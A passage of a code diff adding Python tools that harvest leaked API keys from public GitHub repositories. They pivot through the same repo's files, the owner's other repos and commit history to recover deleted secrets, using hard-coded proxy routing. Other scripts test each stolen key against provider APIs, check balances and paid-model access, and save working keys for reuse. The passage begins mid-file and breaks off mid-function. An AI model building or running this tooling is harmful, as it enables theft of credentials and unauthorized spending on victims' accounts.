for k, s, d in sorted(buckets[n]):
f.write(f"{n}|{k}|{s}|{d}\n")
if buckets["USABLE"]:
print(f" --- USABLE {provider} keys ---")
for k, s, d in buckets["USABLE"][:30]:
print(f" {k} {d[:80]}")
print(f" src: {s}")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--providers", default="all",
help="Comma-separated list, or 'all'")
ap.add_argument("--workers", type=int, default=15)
ap.add_argument("--limit", type=int, default=0)
ap.add_argument("--no-cache", action="store_true")
args = ap.parse_args()
if args.providers == "all":
providers = list(PROVIDERS.keys())
else:
providers = [p.strip() for p in args.providers.split(",") if p.strip() in PROVIDERS]
unknown = [p for p in args.providers.split(",") if p.strip() not in PROVIDERS]
if unknown:
print(f"Unknown providers: {unknown}", file=sys.stderr)
print(f"Verifying: {', '.join(providers)}")
for p in providers:
run_provider(p, args.workers, args.limit, args.no_cache)
if __name__ == "__main__":
main()
+750
View File
@@ -0,0 +1,750 @@
#!/usr/bin/env python3
"""Horizontal pivot miner.
From every known LEAKED key source (usable_keys/*/keys.json "source" URLs),
pivot laterally to find MORE credentials:
Stage 1 Same repo -> pull the whole git tree, fetch high-value files
(.env*, config, secrets, yaml, py, js, json, ...)
and extract all known LLM key formats.
Stage 2 Same owner -> list the owner's other public repos, fetch their
root-level dotfiles/config/README, extract keys.
Stage 3 Same file -> list commits touching the seed file, fetch each
historical blob version, recover deleted keys.
All raw blob fetches are keyed by immutable (repo,path,sha) through
ContentCache so unchanged files are never re-crawled.
"""
import argparse, json, os, re, subprocess, sys, time
import urllib.request, urllib.error, urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent))
from content_cache import ContentCache, parse_raw_url
HERE = Path(__file__).resolve().parent
VAULT = HERE / "usable_keys"
RESULTS = HERE / "results" / "pivot"
RESULTS.mkdir(parents=True, exist_ok=True)
CAND_FILE = RESULTS / "candidates.txt"
CHECKPOINT = RESULTS / "candidates.checkpoint.json"
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
UA = "Mozilla/5.0 key-hunter"
_gh = None
def gh_opener():
global _gh
if _gh is None:
if GH_PROXY:
h = urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY})
_gh = urllib.request.build_opener(h)
else:
_gh = urllib.request.build_opener()
return _gh
_direct = None
def direct_opener():
global _direct
if _direct is None:
_direct = urllib.request.build_opener(urllib.request.ProxyHandler({}))
return _direct
# ---------------------------------------------------------------------------
# GitHub API helpers
# ---------------------------------------------------------------------------
def github_token():
tok = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
if tok:
return tok
try:
out = subprocess.run(["gh", "auth", "token"], capture_output=True,
text=True, timeout=10)
if out.returncode == 0:
return out.stdout.strip()
except FileNotFoundError:
pass
hosts = Path.home() / ".config" / "gh" / "hosts.yml"
if hosts.exists():
for line in hosts.read_text().splitlines():
line = line.strip()
if line.startswith("oauth_token:"):
return line.split(":", 1)[1].strip()
return None
def gh_api(url, token, wants_json=True):
headers = {"Accept": "application/vnd.github+json", "User-Agent": "key-hunter"}
if token:
headers["Authorization"] = f"Bearer {token}"
req = urllib.request.Request(url, headers=headers)
for attempt in range(6):
try:
with gh_opener().open(req, timeout=30) as resp:
raw = resp.read()
return json.loads(raw) if wants_json else raw
except urllib.error.HTTPError as e:
if e.code in (403, 429):
reset = e.headers.get("X-RateLimit-Reset")
wait = max(int(reset) - int(time.time()), 5) if reset else 30
print(f" rate-limited, waiting {wait}s...", file=sys.stderr)
time.sleep(wait + 1)
continue
if e.code in (404, 451):
return None
try:
e.read()
except Exception:
pass
return None
except Exception as e:
print(f" network: {e}", file=sys.stderr)
time.sleep(3)
return None
def fetch_raw(url):
req = urllib.request.Request(url, headers={"User-Agent": UA})
try:
with gh_opener().open(req, timeout=20) as resp:
return resp.read().decode("utf-8", "replace")
except Exception:
return ""
def make_cached_fetch(cc, fetcher=fetch_raw):
def cached(url):
repo, sha, path = parse_raw_url(url)
if repo and sha and path:
txt = cc.get(repo, path, sha)
if txt is not None:
return txt
txt = fetcher(url)
if txt:
cc.put(repo, path, sha, txt)
return txt
return fetcher(url)
return cached
# raw.githubusercontent.com refuses a blob SHA as the ref (404); it needs a
# branch/commit ref. So fetch by branch ref but key the cache on the immutable
# blob SHA we already got from the tree/contents API.
def fetch_blob(repo, path, blob_sha, branch, cc):
if blob_sha and len(blob_sha) == 40:
hit = cc.get(repo.lower(), path, blob_sha)
if hit is not None:
return hit
ref = branch or "HEAD"
txt = fetch_raw(
f"https://raw.githubusercontent.com/{repo}/{ref}/{path}")
if txt and blob_sha and len(blob_sha) == 40:
cc.put(repo.lower(), path, blob_sha, txt)
return txt
# ---------------------------------------------------------------------------
# Key format registry. Each pattern -> provider label + (scheme, host, path,
# model, auth-header style). We extract ALL formats from every pivoted file.
# Order matters: more specific prefixes first so sk-cp-/sk-sp-/sk-cx- are not
# swallowed by a generic sk- pattern.
# ---------------------------------------------------------------------------
PROVIDERS = {}
def _reg(name, pattern, base, models=(), auth="Bearer",
chat_path="/v1/chat/completions", context=None):
PROVIDERS[name] = {
"re": re.compile(pattern),
"base": base,
"models": models,
"auth": auth,
"chat_path": chat_path,
"context": [c.lower() for c in context] if context else None,
}
# Chinese coding plans / specialist
_reg("mimo", r"sk-cx-[A-Za-z0-9]{48}", "https://api.xiaomimimo.com",
models=("mimo-v2.5", "mimo-v2"), auth="Bearer")
_reg("minimax", r"sk-cp-[A-Za-z0-9_\-]{130,}", "https://api.minimaxi.com",
models=("MiniMax-M2.5", "abab6.5s-chat"))
_reg("codingplan", r"sk-sp-[0-9a-fA-F]{32}", "https://coding.dashscope.aliyuncs.com",
models=("qwen3-coder-plus", "qwen-coder-plus"))
_reg("longcat", r"ak_[0-9A-Za-z]{29}", "https://api.longcat.chat",
models=("LongCat-2.0-Chat", "LongCat-2.0"))
_reg("zyloo", r"sk-zy-[0-9A-Za-z]{20,}", "https://api.zyloo.io",
models=("Zyloo-1",))
# Generic LLM keys
_reg("deepseek", r"sk-[a-f0-9]{32}", "https://api.deepseek.com",
models=("deepseek-chat",))
_reg("dashscope", r"sk-[a-f0-9]{32}", "https://dashscope.aliyuncs.com",
models=("qwen-plus",))
_reg("moonshot", r"sk-[A-Za-z0-9]{40,60}", "https://api.moonshot.cn",
models=("moonshot-v1-8k",))
_reg("siliconflow",r"sk-[A-Za-z0-9]{48}", "https://api.siliconflow.cn",
models=("deepseek-ai/DeepSeek-V3",))
_reg("volcanoark", r"[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}",
"https://ark.cn-beijing.volces.com",
models=("doubao-seed-1-6-250615",),
context=("ark_api_key", "volc_accesskey", "volc_secret",
"api_key", "apikey", "authorization", "bearer",
"ark.cn-beijing.volces.com/api/v3", "base_url"))
_reg("xunfei", r"[0-9a-f]{32}",
"https://maas-coding-api.cn-huabei-1.xf-yun.com",
models=("xunfei-coding-plan",),
context=("xf-yun.com", "xfyun", "xunfei", "iflytek",
"spark-api", "maas-coding-api"))
_reg("openai", r"sk-[A-Za-z0-9]{48,}", "https://api.openai.com",
models=("gpt-4o-mini",))
_reg("anthropic", r"sk-ant-[A-Za-z0-9_\-]{80,}", "https://api.anthropic.com",
models=("claude-3-5-haiku-latest",), auth="x-api-key",
chat_path="/v1/messages")
_reg("groq", r"gsk_[A-Za-z0-9]{52}", "https://api.groq.com",
models=("llama-3.1-8b-instant",))
_reg("github_pat", r"gh[pousr]_[A-Za-z0-9]{36,}", "")
_reg("openrouter", r"sk-or-v1-[0-9a-f]{64}", "https://openrouter.ai",
models=("openai/gpt-4o-mini",))
_reg("together", r"[0-9a-f]{64}",
"https://api.together.xyz",
models=("meta-llama/Llama-3.1-8B-Instruct-Turbo",),
context=("together.xyz", "togetherai", "together_api",
"TOGETHER_API_KEY"))
# dedup across providers: longest/most-prefixed match wins for a given span
PREF_ORDER = ["mimo", "minimax", "codingplan", "longcat", "zyloo",
"anthropic", "groq", "github_pat", "openrouter",
"siliconflow", "moonshot", "openai",
"deepseek", "dashscope", "xunfei", "volcanoark", "together"]
BLACKLIST = ("your-", "example", "placeholder", "test", "xxxx", "00000000",
"1234567890abcdef", "changeme", "dummy", "fake", "redacted")
def looks_real(k):
low = k.lower()
return not any(b in low for b in BLACKLIST)
def extract_all(text):
"""Return {provider: set(keys)} found in text, longest-prefix-wins.
For providers with a 'context' requirement (ambiguous shapes like bare
UUIDs/hex), a match is only accepted if text within +/-80 chars around
the match contains a provider assignment marker (api key / base url)."""
low = (text or "").lower()
spans = [] # (start, end, key, provider)
for prov in PREF_ORDER:
spec = PROVIDERS[prov]
markers = spec.get("context")
for m in spec["re"].finditer(text or ""):
k = m.group(0)
if not looks_real(k):
continue
if markers:
lo = max(0, m.start() - 80)
hi = min(len(low), m.end() + 80)
window = low[lo:hi]
if not any(c in window for c in markers):
continue
spans.append((m.start(), m.end(), k, prov))
# sort by start then longer-first; greedy overlap removal
spans.sort(key=lambda s: (s[0], -(s[1] - s[0])))
out = {}
occupied = []
for st, en, k, prov in spans:
if any(st < e and en > s for s, e in occupied):
continue
occupied.append((st, en))
out.setdefault(prov, set()).add(k)
return out
# ---------------------------------------------------------------------------
# Verification (direct, no proxy). Only 401 => DEAD.
# ---------------------------------------------------------------------------
def http_chat(provider, key, timeout=25):
p = PROVIDERS[provider]
if not p["base"]:
return 0, "no-endpoint"
url = p["base"].rstrip("/") + p["chat_path"]
headers = {"User-Agent": UA, "Content-Type": "application/json"}
if p["auth"] == "x-api-key":
headers["x-api-key"] = key
headers["anthropic-version"] = "2023-06-01"
else:
headers["Authorization"] = f"Bearer {key}"
model = p["models"][0] if p["models"] else "gpt-4o-mini"
if provider == "anthropic":
body = {"model": model, "max_tokens": 4,
"messages": [{"role": "user", "content": "hi"}]}
else:
body = {"model": model, "max_tokens": 1,
"messages": [{"role": "user", "content": "hi"}]}
data = json.dumps(body).encode()
req = urllib.request.Request(url, data=data, headers=headers, method="POST")
try:
with direct_opener().open(req, timeout=timeout) as resp:
return resp.getcode(), resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
try:
return e.code, e.read().decode("utf-8", "replace")
except Exception:
return e.code, ""
except Exception as e:
return 0, f"network: {type(e).__name__}: {e}"
def verify(provider, key):
code, body = http_chat(provider, key)
bl = (body or "").lower()
if code == 200:
if '"choices"' in bl or '"content"' in bl or '"id"' in bl:
return "USABLE", f"chat 200 OK ({body[:80]})"
if any(x in bl for x in ("balance", "quota", "arrear", "insufficient")):
return "NO_BALANCE", f"chat: {body[:100]}"
return "USABLE", f"chat: {body[:100]}"
if code == 401:
return "DEAD", "401 unauthorized"
if code in (402, 429):
return "NO_BALANCE", f"chat HTTP {code}: {body[:100]}"
if code == 0:
return "UNKNOWN", body[:120]
return "NO_ACCESS", f"chat HTTP {code}: {body[:100]}"
# ---------------------------------------------------------------------------
# Seed collection from vault
# ---------------------------------------------------------------------------
HTML_RE = re.compile(r"https://github\.com/([^/]+/[^/]+)/blob/([^/]+)/(.*)")
def parse_source(url):
if not url:
return None, None, None, None
m = HTML_RE.search(url)
if not m:
return None, None, None, None
repo, sha, path = m.group(1), m.group(2), m.group(3)
owner = repo.split("/", 1)[0]
return owner, repo, sha, urllib.parse.unquote(path)
def collect_seeds():
"""Return list of (owner, repo, sha, path, vault_provider) from vault."""
seeds = []
for kf in sorted(VAULT.glob("*/keys.json")):
prov = kf.parent.name
try:
arr = json.loads(kf.read_text())
except Exception:
continue
if isinstance(arr, dict):
arr = [arr]
for entry in arr:
if not isinstance(entry, dict):
continue
o, r, s, p = parse_source(entry.get("source", ""))
if r:
seeds.append((o, r, s, p, prov))
return seeds
# ---------------------------------------------------------------------------
# Stage 1: same-repo full tree walk -> high-value files
# ---------------------------------------------------------------------------
HOT_EXT = (".env", ".env.local", ".env.production", ".env.development",
".yaml", ".yml", ".json", ".toml", ".ini", ".conf", ".config",
".py", ".js", ".ts", ".jsx", ".tsx", ".go", ".java", ".rb",
".php", ".sh", ".ps1", ".properties", ".txt", ".md", ".example",
".local", ".secret", ".cfg")
HOT_NAMES = (".env", "config", "secret", "credential", "apikey", "api_key",
"key", "token", "auth", "setting", "constant", "default",
"application", "app", "env", "private")
SKIP_DIRS = ("node_modules", ".git", "vendor", "dist", "build", "__pycache__",
".next", "target", "venv", ".venv", "site-packages", ".tox")
MAX_FILES_PER_REPO = 120
MAX_BYTES = 900_000
def is_hot(path):
low = path.lower()
base = low.rsplit("/", 1)[-1]
if any(sd + "/" in low for sd in SKIP_DIRS):
return False
if base.startswith(".env") or base.endswith(".env"):
return 3 # highest priority
if any(h in base for h in ("secret", "credential", "apikey", "api_key",
"token", "auth", "private")):
return 3
if any(h in base for h in ("config", "setting", "constant", "default",
"application", "app", "env")):
return 2
if any(low.endswith(e) for e in (".secret", ".cfg", ".ini", ".conf",
".properties", ".local", ".pem",
".key")):
return 2
if low.endswith((".yaml", ".yml", ".toml", ".json")):
return 1
if low.endswith((".py", ".js", ".ts", ".jsx", ".tsx", ".go", ".java",
".rb", ".php", ".sh", ".ps1")):
return 1
return 0
def repo_tree_paths(repo, token):
"""Use git/trees?recursive=1 on default branch; yield (prio,path,sha,branch)."""
data = gh_api(f"https://api.github.com/repos/{repo}", token)
if not data:
return
branch = data.get("default_branch", "main")
url = (f"https://api.github.com/repos/{repo}/git/trees/"
f"{branch}?recursive=1")
tree = gh_api(url, token)
if not tree or "tree" not in tree:
return
for node in tree.get("tree", []):
prio = is_hot(node.get("path", ""))
if node.get("type") == "blob" and prio:
yield prio, node["path"], node.get("sha", ""), branch
if tree.get("truncated"):
print(f" [warn] {repo} tree truncated, results partial",
file=sys.stderr)
def stage_repo(repo, token, cc, candidates, seen_files, stats,
fetch_workers=12):
scored = sorted(repo_tree_paths(repo, token),
key=lambda t: -t[0])[:MAX_FILES_PER_REPO]
jobs = []
for _prio, path, bsha, branch in scored:
key = (repo.lower(), path.lower(), str(bsha).lower())
if key in seen_files:
continue
seen_files.add(key)
jobs.append((path, bsha, branch))
def _fetch(job):
path, bsha, branch = job
return path, fetch_blob(repo, path, bsha, branch, cc)
with ThreadPoolExecutor(max_workers=fetch_workers) as ex:
for path, txt in ex.map(_fetch, jobs):
if not txt or len(txt) > MAX_BYTES:
continue
for prov, keys in extract_all(txt).items():
for k in keys:
if k not in candidates:
candidates[k] = (prov, f"{repo}/{path}")
stats["files_with_keys"] += 1
# ---------------------------------------------------------------------------
# Stage 2: same-owner other repos
# ---------------------------------------------------------------------------
def owner_repos(owner, token, max_repos=30):
for page in range(1, 3):
url = ("https://api.github.com/users/"
f"{urllib.parse.quote(owner)}/repos?per_page=100&page={page}"
"&sort=updated&type=owner")
data = gh_api(url, token)
if not data:
return
for r in data:
if r.get("fork"):
continue
name = r.get("full_name", "")
if name and name.lower().split("/", 1)[0] == owner.lower():
yield name
if len(data) < 100:
return
ROOT_HOT = (".env", ".env.local", ".env.production", "config.json",
"config.yaml", "config.yml", "config.toml", "settings.json",
"appsettings.json", "application.yml", "application.yaml",
"secrets.json", ".env.example", "README.md", ".env.sample")
def stage_owner(owner, exclude_repo, token, cc, candidates,
seen_files, stats):
nrepos = 0
for repo in owner_repos(owner, token):
if repo.lower() == exclude_repo.lower():
continue
nrepos += 1
if nrepos > 30:
break
meta = gh_api(f"https://api.github.com/repos/{repo}", token)
branch = (meta or {}).get("default_branch", "main")
url = f"https://api.github.com/repos/{repo}/contents/"
items = gh_api(url, token)
if not items:
continue
for it in items:
if not isinstance(it, dict):
continue
p = it.get("path", "")
if it.get("type") == "file" and (p.lower() in ROOT_HOT or
is_hot(p)):
bsha = it.get("sha", "")
key = (repo.lower(), p.lower(), str(bsha).lower())
if key in seen_files:
continue
seen_files.add(key)
txt = fetch_blob(repo, p, bsha, branch, cc)
if not txt or len(txt) > MAX_BYTES:
continue
for prov, keys in extract_all(txt).items():
for k in keys:
if k not in candidates:
candidates[k] = (prov, f"{repo}/HEAD/{p}")
stats["files_with_keys"] += 1
# ---------------------------------------------------------------------------
# Stage 3: per-seed-file commit history
# ---------------------------------------------------------------------------
def list_file_commits(repo, path, token, max_commits=6):
url = ("https://api.github.com/repos/" + repo + "/commits"
f"?path={urllib.parse.quote(path)}&per_page={max_commits}")
data = gh_api(url, token)
if not data:
return []
out = []
for c in data:
try:
out.append(c["sha"])
except Exception:
pass
return out
def stage_history(owner, repo, sha, path, token, cached_fetch,
candidates, seen_files, stats):
for csha in list_file_commits(repo, path, token):
url = f"https://raw.githubusercontent.com/{repo}/{csha}/{path}"
key = (repo.lower(), path.lower(), csha.lower())
if key in seen_files:
continue
seen_files.add(key)
txt = cached_fetch(url)
if not txt or len(txt) > MAX_BYTES:
continue
for prov, keys in extract_all(txt).items():
for k in keys:
if k not in candidates:
candidates[k] = (prov, f"{repo}@{csha[:8]}/{path}")
stats["files_with_keys"] += 1
# ---------------------------------------------------------------------------
# Driver
# ---------------------------------------------------------------------------
def load_existing():
"""Keys already known in vault -> set, to skip re-verifying."""
known = set()
for kf in VAULT.glob("*/keys.json"):
try:
arr = json.loads(kf.read_text())
except Exception:
continue
if isinstance(arr, dict):
arr = [arr]
for e in arr:
if isinstance(e, dict) and e.get("key"):
known.add(e["key"])
return known
def verify_candidates(candidates, workers, use_cache=True):
from verify_cache import CachedVerifier
# group by provider
by_prov = {}
for k, (prov, src) in candidates.items():
if not PROVIDERS[prov]["base"]:
continue # no endpoint (github_pat etc) - skip chat verify
by_prov.setdefault(prov, []).append((k, src))
verdicts = {v: [] for v in ("USABLE", "NO_BALANCE", "NO_ACCESS",
"DEAD", "UNKNOWN")}
for prov, items in sorted(by_prov.items()):
print(f" [verify] {prov}: {len(items)} candidates")
def vfn(k, _prov=prov):
return verify(_prov, k)
if use_cache:
ver = CachedVerifier(f"pivot_{prov}", vfn)
ver.__enter__()
else:
ver = None
try:
with ThreadPoolExecutor(max_workers=workers) as ex:
futs = {ex.submit(ver if ver else vfn, k): (k, src)
for k, src in items}
for fut in as_completed(futs):
k, src = futs[fut]
try:
v, d = fut.result()
except Exception as e:
v, d = "UNKNOWN", str(e)
verdicts.setdefault(v, []).append((k, src, d))
if v == "USABLE":
print(f" [+] USABLE {prov} {k[:18]}... {src}")
finally:
if ver:
ver.__exit__(None, None, None)
return verdicts
def write_candidates(candidates):
with open(CAND_FILE, "w") as f:
for k, (prov, src) in sorted(candidates.items(),
key=lambda x: (x[1][0], x[0])):
f.write(f"{prov}\t{k}\t{src}\n")
def write_verdicts(verdicts):
summary = {}
for v, rows in verdicts.items():
with open(RESULTS / f"{v.lower()}.txt", "w") as f:
for k, src, d in rows:
f.write(f"{k}\t{src}\t{d}\n")
summary[v] = len(rows)
with open(RESULTS / "summary.json", "w") as f:
json.dump(summary, f, indent=2)
print("=== verdicts:", summary)
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--workers", type=int, default=16)
ap.add_argument("--fetch-workers", type=int, default=12)
ap.add_argument("--no-owner", action="store_true",
help="skip stage 2 (owner repo pivot)")
ap.add_argument("--no-history", action="store_true",
help="skip stage 3 (commit history)")
ap.add_argument("--no-tree", action="store_true",
help="skip stage 1 (same-repo tree)")
ap.add_argument("--no-content-cache", action="store_true")
ap.add_argument("--no-cache", action="store_true",
help="skip verdict cache")
ap.add_argument("--verify-only", action="store_true")
ap.add_argument("--reextract", action="store_true",
help="re-extract from cached blobs with tightened "
"patterns (no network), then verify")
ap.add_argument("--max-repos", type=int, default=0,
help="limit seed repos (0=all)")
args = ap.parse_args()
token = github_token()
if not token:
print("WARNING: no GitHub token; rate limits will be tight",
file=sys.stderr)
seeds = collect_seeds()
print(f"seeds: {len(seeds)} leaked-key sources")
if args.max_repos:
seeds = seeds[:args.max_repos]
# dedup seed repos / owners
seed_repos = sorted({s[1] for s in seeds})
seed_owners = sorted({s[0] for s in seeds})
print(f" {len(seed_repos)} distinct repos, {len(seed_owners)} owners")
if args.verify_only:
cand = {}
for line in CAND_FILE.read_text().splitlines():
parts = line.split("\t")
if len(parts) == 3:
cand[parts[1]] = (parts[0], parts[2])
print(f"loaded {len(cand)} candidates from {CAND_FILE}")
verdicts = verify_candidates(cand, args.workers,
use_cache=not args.no_cache)
write_verdicts(verdicts)
return
if args.reextract:
print("[reextract] scanning cached blobs with tightened patterns")
known = load_existing()
cc = ContentCache(force=args.no_content_cache)
cc.__enter__()
candidates = {}
nfiles = 0
for repo, files in cc._data.items():
for path, versions in files.items():
for sha, ent in versions.items():
txt = ent.get("c", "") if isinstance(ent, dict) else ""
if not txt:
continue
nfiles += 1
src = f"{repo}/{path}"
for prov, keys in extract_all(txt).items():
for k in keys:
if k not in known and k not in candidates:
candidates[k] = (prov, src)
cc.__exit__(None, None, None)
print(f"[reextract] scanned {nfiles} blobs, "
f"{len(candidates)} new candidates")
write_candidates(candidates)
if candidates:
verdicts = verify_candidates(candidates, args.workers,
use_cache=not args.no_cache)
write_verdicts(verdicts)
return
known = load_existing()
print(f"already in vault: {len(known)} keys")
def save_checkpoint():
try:
tmp = str(CHECKPOINT) + ".tmp"
with open(tmp, "w") as f:
json.dump({"candidates": {k: list(v) for k, v in
candidates.items()}}, f)
os.replace(tmp, CHECKPOINT)
except Exception as e:
print(f" [warn] checkpoint failed: {e}", file=sys.stderr)
candidates = {}
if CHECKPOINT.exists() and not args.no_cache:
try:
ch = json.loads(CHECKPOINT.read_text())
for k, v in ch.get("candidates", {}).items():
candidates[k] = tuple(v)
print(f"resumed {len(candidates)} candidates from checkpoint")
except Exception:
pass
stats = {"files_with_keys": 0}
cc = ContentCache(force=args.no_content_cache)
with cc:
cf = make_cached_fetch(cc)
seen_files = set()
# Stage 1: same repo tree
if not args.no_tree:
print(f"[stage 1] same-repo tree walk ({len(seed_repos)} repos)")
for i, repo in enumerate(seed_repos, 1):
stage_repo(repo, token, cc, candidates, seen_files, stats,
fetch_workers=args.fetch_workers)
if i % 5 == 0:
save_checkpoint()
if i % 10 == 0:
print(f" {i}/{len(seed_repos)} repos, "
f"{len(candidates)} candidates", flush=True)
# Stage 2: owner other repos
if not args.no_owner:
print(f"[stage 2] owner pivot ({len(seed_owners)} owners)")
repo_owner = {s[1]: s[0] for s in seeds}
for i, repo in enumerate(seed_repos, 1):
owner = repo_owner.get(repo, repo.split("/", 1)[0])
stage_owner(owner, repo, token, cc, candidates,
seen_files, stats)
time.sleep(1.0) # smooth request burst vs secondary rate limit
if i % 5 == 0:
save_checkpoint()
if i % 10 == 0:
print(f" {i}/{len(seed_repos)} owners, "
f"{len(candidates)} candidates", flush=True)
# Stage 3: commit history per seed file
if not args.no_history:
print(f"[stage 3] commit history ({len(seeds)} seed files)")
for i, (owner, repo, sha, path, prov) in enumerate(seeds, 1):
stage_history(owner, repo, sha, path, token, cf,
candidates, seen_files, stats)
if i % 25 == 0:
save_checkpoint()
print(f" {i}/{len(seeds)} files, "
f"{len(candidates)} candidates", flush=True)
save_checkpoint()
# strip keys already known
new_cand = {k: v for k, v in candidates.items() if k not in known}
print(f"[done] {len(candidates)} total extracted, "
f"{len(new_cand)} new (not in vault); "
f"{stats['files_with_keys']} files yielded keys")
write_candidates(new_cand)
if new_cand:
verdicts = verify_candidates(new_cand, args.workers,
use_cache=not args.no_cache)
write_verdicts(verdicts)
else:
print("no new candidates to verify")
if __name__ == "__main__":
main()
@@ -0,0 +1,172 @@
#!/usr/bin/env python3
"""
Deep-verify SiliconFlow keys that passed /v1/models.
For each key:
1. GET /v1/user/info -> retrieve balance/charge
2. POST /v1/chat/completions with Qwen/Qwen2.5-7B-Instruct (max_tokens=1)
Classification:
USABLE chat returns 200 with choices
NO_BALANCE balance=0 / 402 / charge balance exhausted
NO_ACCESS 403 (realname), 400 (model not granted), 404, 5xx
UNKNOWN network/timeout
DEAD 401 only
"""
import argparse
import json
import urllib.request
import urllib.error
import re
import sys
from pathlib import Path
from concurrent.futures import ThreadPoolExecutor, as_completed
sys.path.insert(0, str(Path(__file__).resolve().parent))
from verify_cache import CachedVerifier
BASE = "https://api.siliconflow.cn"
UA = "curl/8.5.0"
OUT = Path("results/medium/SiliconFlow")
OUT.mkdir(parents=True, exist_ok=True)
# Free models — these should work on any identity-verified account with
# even zero balance (SiliconFlow grants free quota to a rotating list).
CHAT_MODEL = "Qwen/Qwen2.5-7B-Instruct"
PINCH_MODEL = "deepseek-ai/DeepSeek-V3" # paid model, useful balance probe
def http(method, path, key, body=None, timeout=20):
url = BASE + path
headers = {
"Authorization": f"Bearer {key}",
"User-Agent": UA,
"Accept": "*/*",
}
data = None
if body is not None:
data = json.dumps(body).encode()
headers["Content-Type"] = "application/json"
req = urllib.request.Request(url, data=data, headers=headers, method=method)
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
return resp.getcode(), resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
try:
return e.code, e.read().decode("utf-8", "replace")
except Exception:
return e.code, ""
except Exception as e:
return 0, f"network: {type(e).__name__}: {e}"
def verify(key):
# Layer 1: user info (balance)
info_code, info_body = http("GET", "/v1/user/info", key)
balance = None
status = None
if info_code == 200:
try:
j = json.loads(info_body)
data = j.get("data") or {}
balance = data.get("balance")
status = data.get("status")
except Exception:
pass
# Layer 2: free model chat
chat_code, chat_body = http("POST", "/v1/chat/completions", key, {
"model": CHAT_MODEL,
"messages": [{"role": "user", "content": "hi"}],
"max_tokens": 1,
"temperature": 0,
})
# Layer 3: paid model (only if free worked, to detect real balance)
paid_code, paid_body = 0, ""
if chat_code == 200:
paid_code, paid_body = http("POST", "/v1/chat/completions", key, {
"model": PINCH_MODEL,
"messages": [{"role": "user", "content": "hi"}],
"max_tokens": 1,
"temperature": 0,
})
# Classify
if chat_code == 401:
return "DEAD", f"401 on chat; info={info_code}"
if chat_code == 200 and '"choices"' in chat_body:
if paid_code == 200:
return "USABLE", f"balance={balance} status={status} free+paid OK"
return "USABLE_FREE_ONLY", f"balance={balance} status={status} free OK paid={paid_code}"
if chat_code in (402,):
return "NO_BALANCE", f"balance={balance}; chat={chat_code} {chat_body[:120]}"
if chat_code == 403:
return "NO_ACCESS", f"403: {chat_body[:160]}"
if chat_code == 400:
# could be model not allowed, or content filter
if "balance" in chat_body.lower() or "insufficient" in chat_body.lower():
return "NO_BALANCE", f"balance={balance}; 400 {chat_body[:160]}"
return "NO_ACCESS", f"400: {chat_body[:160]}"
if chat_code == 0:
return "UNKNOWN", f"network chat: {chat_body[:160]}"
if 500 <= chat_code < 600:
return "NO_ACCESS", f"5xx {chat_code}: {chat_body[:120]}"
return "NO_ACCESS", f"HTTP {chat_code}: {chat_body[:160]}"
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--workers", type=int, default=20)
ap.add_argument("--no-cache", action="store_true")
args = ap.parse_args()
src = OUT / "usable.txt"
rows = []
for line in src.read_text().splitlines():
if not line.strip() or "|" not in line:
continue
parts = line.split("|", 2)
key = parts[0]
src_url = parts[1] if len(parts) > 1 else ""
prev_detail = parts[2] if len(parts) > 2 else ""
rows.append((key, src_url, prev_detail))
print(f"loaded {len(rows)} candidate keys", flush=True)
buckets = {"USABLE": [], "USABLE_FREE_ONLY": [], "NO_BALANCE": [],
"NO_ACCESS": [], "UNKNOWN": [], "DEAD": []}
done = 0
with CachedVerifier("siliconflow", verify, force=args.no_cache,
ttl={"USABLE_FREE_ONLY": 30 * 60}) as ver:
with ThreadPoolExecutor(max_workers=args.workers) as pool:
futs = {pool.submit(ver, k): (k, u, d) for k, u, d in rows}
for fut in as_completed(futs):
k, u, d = futs[fut]
try:
v, detail = fut.result()
except Exception as e:
v, detail = "UNKNOWN", f"exc: {e}"
buckets[v].append((k, u, detail))
done += 1
if done % 20 == 0:
print(f" {done}/{len(rows)} cache: {ver.hits} hits/{ver.live} live", flush=True)
print(f"cache: {ver.hits} hits, {ver.live} live queries, {len(ver._cache)} cached", flush=True)
for label, items in buckets.items():
path = OUT / f"deep_{label.lower()}.txt"
with path.open("w") as f:
for k, u, det in items:
f.write(f"{k}|{u}|{det}\n")
print(f"{label:18s} {len(items):4d} -> {path.name}")
# also emit combined all_non_401 for easy newapi ingestion
keep = []
for label in ("USABLE", "USABLE_FREE_ONLY", "NO_BALANCE", "NO_ACCESS", "UNKNOWN"):
for k, u, det in buckets[label]:
keep.append(f"{k}|{u}|[{label}] {det}")
with (OUT / "deep_all_non_401.txt").open("w") as f:
f.write("\n".join(keep) + "\n")
print(f"kept (non-401): {len(keep)}")
if __name__ == "__main__":
main()
+274
View File
@@ -0,0 +1,274 @@
#!/usr/bin/env python3
"""Xunfei Spark MaaS coding API hunter.
Endpoint: https://maas-coding-api.cn-huabei-1.xf-yun.com
Key format: <32hex>:<secret> (Bearer auth)
Ports: /v2 (OpenAI compat), /anthropic (Anthropic compat), /v1/responses.
Classification: only HTTP 401/invalid => DEAD. Model-exists but unauthorized
(11200 AppIdNoAuthError) and 10404 are NOT dead - the key authenticates.
Outputs results/xunfei/.
"""
import argparse, json, os, re, subprocess, sys, time
import urllib.request, urllib.error, urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
from verify_cache import CachedVerifier
from content_cache import ContentCache, parse_raw_url
HERE = Path(__file__).parent
RESULTS = HERE/"results"/"xunfei"; RESULTS.mkdir(parents=True, exist_ok=True)
EXTRACTED = RESULTS/"extracted_keys.txt"
CANDIDATES = RESULTS/"candidates.txt"
BASE = "https://maas-coding-api.cn-huabei-1.xf-yun.com"
GH_PROXY = os.environ.get("GH_PROXY","http://114.111.19.228:3389")
UA = "curl/8.5.0"
_gh=None
def gh_opener():
global _gh
if _gh is None:
